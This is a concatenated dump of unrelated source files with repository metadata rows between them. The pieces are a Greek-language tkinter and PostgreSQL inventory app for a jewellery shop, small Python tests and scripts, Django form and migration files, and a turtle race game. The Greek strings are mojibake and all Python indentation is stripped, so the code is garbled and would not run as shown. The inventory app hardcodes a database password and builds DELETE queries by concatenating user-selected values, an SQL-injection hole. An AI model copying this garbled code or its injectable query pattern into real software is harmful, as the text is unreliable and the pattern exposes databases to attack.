E7.grid(row=13,column=0,padx=(10,10),pady=(5,5))
Label(window,text="ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2").grid(row=14,column=0,padx=(10,10),pady=(5,5))
E8=Entry(window,width=100,bg="white")
E8.grid(row=15,column=0,padx=(10,10),pady=(5,5))
Button(window, text="ฮ ฯฮฟฯฮธฮฎฮบฮท",width=100,command=lambda:Add_Supplier(E1.get(),E2.get(),E3.get(),E4.get(),E5.get(),E6.get(),E7.get(),E8.get())).grid(row=16,column=0,padx=(10,10),pady=(5,5))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click1_frame2).grid(row=17,column=0,padx=(10,10),pady=(5,5))
Label(window,text="* ฮคฮฑ ฯฮตฮดฮฏฮฑ ฮตฮนฮฝฮฑฮน ฯ
ฯฮฟฯฯฮตฯฯฮนฮบฮฌ ฮฝฮฑ ฯฯ
ฮผฯฮปฮทฯฯฮธฮฟฯฮฝ!!").grid(row=18,column=0,padx=(10,10),pady=(5,5))
Label(window,text="Created by Tsakos Kostas").grid(row=19,column=0)
def Delete_Supplier(tree):#Delete Suppliers from db
for selected_item in tree.selection():
conn=psycopg2.connect("host='postgres-db' dbname='jewelery' user='postgres' password='kostas'")
cursor=conn.cursor()
query="DELETE FROM \"Supplier\" WHERE (\"Company\"='"+tree.set(selected_item,'#1')+"')"
query_result=cursor.execute(query)
conn.commit()
conn.close()
tree.delete(selected_item)
click1_frame2_click4_frame3()
def click1_frame2_click4_frame3():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฮนฮฑฮณฯฮฑฯฮฎ ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฯฮฝ")
lst=run_query("SELECT * FROM \"Supplier\"")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฯฮฑฮนฯฮตฮฏฮฑ","ฮฮฝฮฟฮผฮฑ","ฮฯฮฏฮธฮตฯฮฟ","ฮฮนฮตฯฮธฯ
ฮฝฯฮท","ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ","ฮฮนฮฝฮทฯฯ","ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ","ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2")
tree.column("ฮฯฮฑฮนฯฮตฮฏฮฑ",width=100)
tree.column("ฮฮฝฮฟฮผฮฑ",width=100)
tree.column("ฮฯฮฏฮธฮตฯฮฟ",width=100)
tree.column("ฮฮนฮตฯฮธฯ
ฮฝฯฮท",width=100)
tree.column("ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ",width=200)
tree.column("ฮฮนฮฝฮทฯฯ",width=100)
tree.column("ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ",width=200)
tree.column("ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2",width=200)
tree.heading("ฮฯฮฑฮนฯฮตฮฏฮฑ", text="ฮฯฮฑฮนฯฮตฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Company"))
tree.heading("ฮฮฝฮฟฮผฮฑ", text="ฮฮฝฮฟฮผฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Name"))
tree.heading("ฮฯฮฏฮธฮตฯฮฟ", text="ฮฯฮฏฮธฮตฯฮฟ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Surname"))
tree.heading("ฮฮนฮตฯฮธฯ
ฮฝฯฮท", text="ฮฮนฮตฯฮธฯ
ฮฝฯฮท",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Address"))
tree.heading("ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ", text="ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Phone"))
tree.heading("ฮฮนฮฝฮทฯฯ", text="ฮฮนฮฝฮทฯฯ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Mobile Phone"))
tree.heading("ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ", text="ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Bank Account"))
tree.heading("ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2", text="ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Bank Account2"))
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮนฮฑฮณฯฮฑฯฮฎ",width=100,command=lambda:Delete_Supplier(tree)).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click1_frame2).grid(row=2,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=3,column=0)
def click1_frame2_click1_frame3():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฯฮฝ")
lst=run_query("SELECT * FROM \"Supplier\"")
tree=ttk.Treeview(window,height=25,show=["headings"])
tree["columns"]=("ฮฯฮฑฮนฯฮตฮฏฮฑ","ฮฮฝฮฟฮผฮฑ","ฮฯฮฏฮธฮตฯฮฟ","ฮฮนฮตฯฮธฯ
ฮฝฯฮท","ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ","ฮฮนฮฝฮทฯฯ","ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ","ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2")
tree.column("ฮฯฮฑฮนฯฮตฮฏฮฑ",width=100)
tree.column("ฮฮฝฮฟฮผฮฑ",width=100)
tree.column("ฮฯฮฏฮธฮตฯฮฟ",width=100)
tree.column("ฮฮนฮตฯฮธฯ
ฮฝฯฮท",width=100)
tree.column("ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ",width=200)
tree.column("ฮฮนฮฝฮทฯฯ",width=100)
tree.column("ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ",width=200)
tree.column("ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2",width=200)
tree.heading("ฮฯฮฑฮนฯฮตฮฏฮฑ", text="ฮฯฮฑฮนฯฮตฮฏฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Company"))
tree.heading("ฮฮฝฮฟฮผฮฑ", text="ฮฮฝฮฟฮผฮฑ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Name"))
tree.heading("ฮฯฮฏฮธฮตฯฮฟ", text="ฮฯฮฏฮธฮตฯฮฟ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Surname"))
tree.heading("ฮฮนฮตฯฮธฯ
ฮฝฯฮท", text="ฮฮนฮตฯฮธฯ
ฮฝฯฮท",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Address"))
tree.heading("ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ", text="ฮฃฯฮฑฮธฮตฯฯ ฮคฮทฮปฮญฯฯฮฝฮฟ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Phone"))
tree.heading("ฮฮนฮฝฮทฯฯ", text="ฮฮนฮฝฮทฯฯ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Mobile Phone"))
tree.heading("ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ", text="ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Bank Account"))
tree.heading("ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2", text="ฮคฯฮฑฯฮตฮถฮนฮบฯฯ ฮฮฟฮณฮฑฯฮนฮฑฯฮผฯฯ2",command=lambda:Sorting_By_Column(tree,"SELECT * FROM \"Supplier\"","Bank Account2"))
for i in lst:
tree.insert("",END,values=i)
tree.grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=click1_frame2).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=2,column=0)
def click1_frame2():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮญฯ")
Button(window, text="ฮ ฯฮฟฮฒฮฟฮปฮฎ ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฯฮฝ",width=100,command=click1_frame2_click1_frame3).grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮนฯฮฑฮณฯฮณฮฎ ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ",width=100,command=click1_frame2_click2_frame3).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฯฮตฮพฮตฯฮณฮฑฯฮฏฮฑ ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ",width=100,command=click1_frame2_click3_frame3).grid(row=2,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮนฮฑฮณฯฮฑฯฮฎ ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ",width=100,command=click1_frame2_click4_frame3).grid(row=3,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฮฏฯฯ",width=100,command=frame1).grid(row=4,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=5,column=0)
################################## END OF SUPPLIERS OPERATIONS #########################################################################################
def frame1():
clear()
window.title("ฮจฮทฯฮนฮฑฮบฮฎ ฮฯฮฟฮธฮฎฮบฮท ฮฮฟฯฮผฮทฮผฮฑฯฮฟฯฯฮปฮตฮฏฮฟฯ
-ฮฯฯฮนฮบฮฎ ฮฃฮตฮปฮฏฮดฮฑ")
Button(window, text="ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮญฯ",width=100,command=click1_frame2).grid(row=0,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฮฑฯฮทฮณฮฟฯฮฏฮตฯ ฮ ฯฮฟฯฯฮฝฯฯฮฝ",width=100,command=click2_frame2).grid(row=1,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฯฮฟฯฯฮฝฯฮฑ ฮงฯฯ
ฯฮฟฯ",width=100,command=click3_frame2).grid(row=2,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮ ฯฮฟฯฯฮฝฯฮฑ ฮฑฯฯ ฮฯฮฎฮผฮน ฮฎ ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
",width=100,command=click4_frame2).grid(row=3,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฃฯฮฝฮฟฮปฮฟ ฯฮต ฮงฯฯ
ฯฯ",width=100,command=click5_frame2).grid(row=4,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎ ฮฮพฮฏฮฑ ฯฮต ฮฯฮฎฮผฮน ฮบฮฑฮน ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
ฮตฮผฯฮฟฯฮตฯฮผฮฑฯฮฑ",width=100,command=click6_frame2).grid(row=5,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฃฯฮฝฮฟฮปฮฟ ฯฮต ฮงฯฯ
ฯฯ ฮฑฮฝฮฌ ฯฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ",width=100,command=click7_frame2).grid(row=6,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎ ฮฮพฮฏฮฑ ฯฮต ฮฯฮฎฮผฮน ฮบฮฑฮน ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
ฮตฮผฯฮฟฯฮตฯฮผฮฑฯฮฑ ฮฑฮฝฮฌ ฯฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ",width=100,command=click8_frame2).grid(row=7,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฃฯ
ฮฝฮฟฮปฮนฮบฮฎ ฮฮพฮฏฮฑ ฯฮต ฮฯฮฎฮผฮน ฮบฮฑฮน ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
ฮตฮผฯฮฟฯฮตฯฮผฮฑฯฮฑ ฮฑฮฝฮฌ ฮบฮฑฯฮทฮณฮฟฯฮฏฮฑ",width=100,command=click9_frame2).grid(row=8,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฃฯฮฝฮฟฮปฮฟ ฯฮตฮผฮฑฯฮฏฯฮฝ ฮฑฮฝฮฌ ฮบฮฑฯฮทฮณฮฟฯฮฏฮฑ ฮงฯฯ
ฯฮฟฯ",width=100,command=click10_frame2).grid(row=9,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฃฯฮฝฮฟฮปฮฟ ฯฮตฮผฮฑฯฮฏฯฮฝ ฮฑฮฝฮฌ ฮบฮฑฯฮทฮณฮฟฯฮฏฮฑ ฯฮต ฮฯฮฎฮผฮน ฮฎ ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
",width=100,command=click11_frame2).grid(row=10,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฃฯฮฝฮฟฮปฮฟ ฯฮตฮผฮฑฯฮฏฯฮฝ ฮฑฮฝฮฌ ฮบฮฑฯฮทฮณฮฟฯฮฏฮฑ ฮงฯฯ
ฯฮฟฯ ฮฑฮฝฮฌ ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ ฮบฮฑฮน ฮฑฮฝฮฌ ฯฮฟฮนฯฯฮทฯฮฑ",width=100,command=click12_frame2).grid(row=11,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฃฯฮฝฮฟฮปฮฟ ฯฮตฮผฮฑฯฮฏฯฮฝ ฮฑฮฝฮฌ ฮบฮฑฯฮทฮณฮฟฯฮฏฮฑ ฮงฯฯ
ฯฮฟฯ ฮฑฮฝฮฌ ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ",width=100,command=click13_frame2).grid(row=12,column=0,padx=(10,10),pady=(10,10))
Button(window, text="ฮฃฯฮฝฮฟฮปฮฟ ฯฮตฮผฮฑฯฮฏฯฮฝ ฮฑฮฝฮฌ ฮบฮฑฯฮทฮณฮฟฯฮฏฮฑ ฯฮต ฮฑฯฮฎฮผฮน ฮฎ ฮฮตฮฝฮนฮบฮฟฯ ฮคฯฯฮฟฯ
ฮฑฮฝฮฌ ฮ ฯฮฟฮผฮทฮธฮตฯ
ฯฮฎ",width=100,command=click14_frame2).grid(row=13,column=0,padx=(10,10),pady=(10,10))
Label(window,text="Created by Tsakos Kostas").grid(row=14,column=0)
frame1()
window.mainloop()
| [
"ktsakos@isc.tuc.gr"
] | ktsakos@isc.tuc.gr |
19cbfdf52240baec164fff40e2cd045fb89e6f4b | 6d60a33bed04da91966075f0dfd672131b616f26 | /tests/drink_test.py | 7e55f6e27c2fe1a7cd28b7ffeea2e7a1631ec515 | [] | no_license | amyg-cc/pub_lab | 43908656cbbd654d78da141e5eba404bad58597e | 321da4d9e2db64075634772401dad062a766dd82 | refs/heads/main | 2023-07-12T12:03:32.638323 | 2021-08-18T18:30:20 | 2021-08-18T18:30:20 | 397,539,455 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 241 | py | import unittest
from src.drink import Drink
class TestDrink(unittest.TestCase):
def setUp(self):
self.drink_1 = Drink("Bud Light", 3)
def test_drink_has_name(self):
self.assertEqual("Bud Light", self.drink_1.name) | [
"amy.gallacher@codeclan.com"
] | amy.gallacher@codeclan.com |
21f81ccfd16d3910d3feef9e42266efc531e237c | 40c931d201533f52252c1b01698787af54c8f4e3 | /pythonProject/test/demo10.py | 3ee0a486e901b00ecfbb915095736d954dac3302 | [] | no_license | wangJmes/PycharmProjects | bcd948e878338e12af7ea94e01e06a798adafcd4 | d428a0bb0b52882be887b27fbb6f18f12d22b50c | refs/heads/master | 2023-09-03T16:02:31.180239 | 2021-10-12T05:05:08 | 2021-10-12T05:05:08 | 407,809,968 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 248 | py | # ็ปไน
# ๅผๅ่
:ๆฑชๅท
# ๅผๅๆถ้ด: 2021/6/2 11:13
def cal(a):
m = 1
for i in range(1, a + 1):
m = m * i
return m
if __name__ == '__main__':
n = int(input('่พๅ
ฅ๏ผ'))
print("%d" % sum(map(cal, range(1, n + 1))))
| [
"1045262403@qq.com"
] | 1045262403@qq.com |
738f42402f79e4fb380201e8072871b33a1ca13b | 6fcc7f7793642d322c5d9d18873a187c5d479b12 | /work/w01/apps.py | 0e7e82336e4b8bb8a5cb002519ab34e32bfcd543 | [
"Apache-2.0"
] | permissive | humingsen1/Django | eb133de46756391e16270075e0260011937c5abb | 6a1715b2e67d5052995bf3bcecb6284444446221 | refs/heads/master | 2020-04-05T21:04:38.903563 | 2018-11-12T17:37:02 | 2018-11-12T17:37:02 | 157,206,385 | 0 | 0 | null | 2018-11-12T11:55:36 | 2018-11-12T11:55:35 | null | UTF-8 | Python | false | false | 81 | py | from django.apps import AppConfig
class W01Config(AppConfig):
name = 'w01'
| [
"1391243622@qq.com"
] | 1391243622@qq.com |
6aa1c3c02f4cbfdd3be8267b5c8f50c75d330922 | 3a42ca8c97ca44300a60b5c786b3d07b72a83250 | /src/core/forms.py | a1ec76832d810d3f8e9e086be3405026e2a45be4 | [] | no_license | krishnajhapate/ecommerce-django | d23284c7d597a985b74651eb1fd04d246f07ad85 | c50351faffcbb4df1e858b94aeb23a1d1c29b70a | refs/heads/master | 2023-03-22T10:56:45.675751 | 2021-03-11T07:58:46 | 2021-03-11T07:58:46 | 325,848,711 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,336 | py | from django import forms
from django_countries.fields import CountryField
from django_countries.widgets import CountrySelectWidget
PAYMENT_OPTIONS = (
("S","STRIPE"),
("P","PAYPAL")
)
class CheckoutForm(forms.Form):
shipping_address = forms.CharField(required=False)
shipping_address2 = forms.CharField(required=False,)
# shipping_country = CountryField(required=False,blank_label='select country').formfield(widget=CountrySelectWidget(attrs={
# "class":"form-control custom-select d-block W-100"
# }))
shipping_zip = forms.CharField(required=False)
same_shipping_address = forms.BooleanField(widget=forms.CheckboxInput(),required=False)
set_default_shipping = forms.BooleanField()
save_info = forms.BooleanField(widget=forms.CheckboxInput(),required=False)
payment_option = forms.ChoiceField(widget=forms.RadioSelect,choices=PAYMENT_OPTIONS)
class CouponForm(forms.Form):
code = forms.CharField(widget=forms.TextInput(attrs={
'class':'form-control',
'placeholder':'Promo Code',
'aria-label':"Recipient's username",
'aria-describedby':"basic-addon2"
}))
class RefundForm(forms.Form):
ref_code = forms.CharField()
message = forms.CharField(widget=forms.Textarea(attrs={
'rows':4
}))
email = forms.EmailField() | [
"ki54.jhapate@gmail.com"
] | ki54.jhapate@gmail.com |
1b12e8c14f07c8d36cd58d3b4ba1afb883f6a596 | 4e394275f5e8459b7a9ffe5f0982b066ecbb277d | /webscrapper/venv/Scripts/pip-script.py | 72e36c552d8bd297acf77143983baf1bd7e62d2a | [] | no_license | rodekrishna/pythondir | 18e8d7cf05b690a070323832e8d95399c76e6cc1 | 9122fd1ecbe78db20ddea93b1b13f9bebea81203 | refs/heads/master | 2021-08-10T20:35:26.219467 | 2021-07-04T15:56:30 | 2021-07-04T15:56:30 | 214,225,730 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 403 | py | #!E:\mygit\pythondir\webscrapper\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('pip==19.0.3', 'console_scripts', 'pip')()
)
| [
"rodekrishna@gmail.com"
] | rodekrishna@gmail.com |
c4bc3be9a23dd4a3f86c3fa58a9d6688a90f2760 | 3d16538cec663472cbc366480438a830de36dfef | /accounts/migrations/0001_initial.py | f05ab4ad4186669a4bc537a0a5e850e8e79c6a75 | [] | no_license | puzzle91/Blog | 60e50577829636d21600df0843308a235bc3f19e | aa79349ec514489abc0a692eea48804966414dcc | refs/heads/master | 2020-07-19T05:51:45.996655 | 2017-07-03T13:54:35 | 2017-07-03T13:54:35 | 94,335,754 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,158 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.2 on 2017-07-03 11:58
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='UserProfile',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('stripe_id', models.CharField(default='', max_length=40)),
('subscription_end', models.DateTimeField(default=django.utils.timezone.now)),
('nickname', models.CharField(default='', max_length=40)),
('follows', models.ManyToManyField(related_name='followers', to=settings.AUTH_USER_MODEL)),
('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='profile', to=settings.AUTH_USER_MODEL)),
],
),
]
| [
"eduardop@tcd.ie"
] | eduardop@tcd.ie |
e99583a55f5f4938ab5dd30cabc1bde9f6d8c576 | dcad65de2735e25f2214bc5ba59f14d0473f0673 | /crmuz/wsgi.py | 979a92d05b4789e3994cf3ec31077eb7ef397e15 | [] | no_license | rasulkurbanov/jetcrm | bf1ec307eb6389a050b810ca7990a6001f5f2692 | 940fde1acb6cfd71a7728347c515a43679df588e | refs/heads/master | 2023-09-05T03:59:04.297554 | 2021-10-31T18:02:16 | 2021-10-31T18:02:16 | 421,594,833 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 387 | py | """
WSGI config for crmuz project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'crmuz.settings')
application = get_wsgi_application()
| [
"rasuljohn139@gmail.com"
] | rasuljohn139@gmail.com |
88306355c24f24cce8a5ceb1d61043c75453671b | 727302ff4badb9a1cf59996194ef2f3b04a58cf0 | /python/move-zeroes.py | 708334fcddc190c41e1c21d3bae4b9d1d9783676 | [] | no_license | Ursidae44/my-leetcode-solutions | 6c1a58dbf0d1c3938748147b332dd02a0bfae63a | 78c322bdbb6e6a1b3ec633ce0ee87cecd80823e9 | refs/heads/master | 2020-08-08T23:38:08.045905 | 2019-10-15T18:31:17 | 2019-10-15T18:31:17 | 213,947,990 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,487 | py | # https://leetcode.com/problems/move-zeroes/submissions/
"""
Description
Given an array nums, write a function to move all 0's to the end of it while maintaining the relative order of the non-zero elements.
Example:
Input: [0,1,0,3,12]
Output: [1,3,12,0,0]
Note:
You must do this in-place without making a copy of the array.
Minimize the total number of operations.
"""
from typing import List
class Solution:
def moveZeroes(self, nums: List[int]) -> None:
"""
Do not return anything, modify nums in-place instead.
"""
# Not sure why we're mutating a parameter but lets go!
# We keep track of where we are in the list as we are modifying it in place
# We keep track of how many elements we've processed so we know when to stop
index = 0
processed = 0
# Go until we have looked at every element
while (processed < len(nums)):
element = nums[index]
if element == 0:
# We found a zero. Move it to the end
# Since the next number is going to shift down into this index, we don't move our index forward
nums.append(element)
nums.pop(index)
else:
# Not a zero, so just move to the next number
index += 1
# Either way we've looked at a new number
processed += 1
# print("length", len(nums), "index", index, "processed", processed)
| [
"jgarland@mathworks.com"
] | jgarland@mathworks.com |
a7d25b77375446e4b336046e06a70a14987475c6 | f31a22b773a37f08cb7a6e61914790cd3e45d06f | /Turtle_Race.py | 9ebdbbc9c8a9a8c27279a6205ff1214847b7fcc7 | [] | no_license | AwesomeCoder30/Python_Pratice | ea500f9038d4b4b2958786d597497464d2985af3 | 870e87df81dba48a7b2d159d07fec6e2c1e67328 | refs/heads/master | 2020-04-04T14:51:48.105564 | 2018-11-03T19:30:27 | 2018-11-03T19:30:27 | 156,016,065 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,017 | py | import turtle
from random import randint
t = turtle.Turtle()
t.shape("turtle")
t.speed(0)
def winner_title(winner):
t.penup()
t.setx(-150)
t.sety(250)
t.pendown()
t.write(str(winner) + " is the winner!", font=("Arial", 28, "normal"))
def race_track():
x_val = -325
y_val = 250
t.right(90)
for i in range(10):
for i in range(10):
t.penup()
t.setx(x_val)
t.sety(y_val)
t.pendown()
t.forward(25)
t.penup()
y_val -=50
x_val+=75
y_val = 250
t.hideturtle()
race_track()
#red turtle intro
red_t = turtle.Turtle()
red_t.shape("turtle")
red_t.color("red")
red_t.penup()
red_t.setx(-350)
red_t.sety(237.5)
red_t.pendown()
#green turtle intro
green_t = turtle.Turtle()
green_t.shape("turtle")
green_t.color("green")
green_t.penup()
green_t.setx(-350)
green_t.sety(40)
green_t.pendown()
#blue turtle intro
blue_t = turtle.Turtle()
blue_t.shape("turtle")
blue_t.color("blue")
blue_t.penup()
blue_t.setx(-350)
blue_t.sety(-160)
blue_t.pendown()
#race starter
red_x_pos = red_t.pos()[0]
green_x_pos = green_t.pos()[0]
blue_x_pos = blue_t.pos()[0]
finish_line = 335
while red_x_pos < finish_line and \
green_x_pos < finish_line \
and blue_x_pos < finish_line:
red_movement = randint(100, 100)
red_t.forward(red_movement)
green_movement = randint(100, 100)
green_t.forward(green_movement)
blue_movement = randint(100, 100)
blue_t.forward(blue_movement)
red_x_pos = red_t.pos()[0]
green_x_pos = green_t.pos()[0]
blue_x_pos = blue_t.pos()[0]
max = "Red"
#print("Red pos: " + str(red_x_pos[0]))
for i in range(3):
if(green_x_pos > red_x_pos):
max = "Green"
#print("Green pos: " + str(green_x_pos[0]))
if(blue_x_pos > green_x_pos or blue_x_pos > red_x_pos):
max = "Blue"
#print("Blue pos: " + str(blue_x_pos[0]))
winner_title(max)
turtle.mainloop()
| [
"mehtaparth101@gmail.com"
] | mehtaparth101@gmail.com |
ca137e3956496a07296c4f98399bb947255d0156 | 1b0b805fc3283cc3540fdc48c3ed8ed78706c798 | /test/dao_test.py | 259980d8cda0ee7a8f3aa70636f8560b180ceb25 | [] | no_license | nowrokemailjsnh/sqlitedao | 130454494db504f64f3f9419df7243c8be0c24cb | 8bd01a044ed286dc85944e0df0fe2545664b52dd | refs/heads/master | 2022-12-13T23:53:19.769591 | 2020-09-13T19:44:00 | 2020-09-13T19:44:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,485 | py | """
Test create table, index, list tables functionalities
"""
from sqlitedao import SqliteDao, ColumnDict, SearchDict
import os
import pytest
# Some mock data
TEST_DB_NAME = "test.db"
TEST_TABLE_NAME = "players"
lebron = {"name": "LeBron James", "position": "SF", "age": 35, "height": "6-8.5"}
kobe = {"name": "Kobe Bryant", "position": "SG", "age": 41, "height": "6-6"}
jordan = {"name": "Michael Jordan", "position": "SG", "age": 56, "height": "6-6"}
@pytest.fixture
def dao():
# Before test
if os.path.exists(TEST_DB_NAME):
os.remove(TEST_DB_NAME)
# Pass dao instance to test
yield SqliteDao.get_instance(TEST_DB_NAME)
# Deconstruct
SqliteDao.terminate_instance(TEST_DB_NAME)
@pytest.fixture(name="xdao")
def prepopulated_dao():
# Before test
if os.path.exists(TEST_DB_NAME):
os.remove(TEST_DB_NAME)
# Pass dao instance to test
dao = SqliteDao.get_instance(TEST_DB_NAME)
columns = ColumnDict()
columns\
.add_column("name", "text", "PRIMARY KEY")\
.add_column("position", "text")\
.add_column("age", "integer")\
.add_column("height", "text")
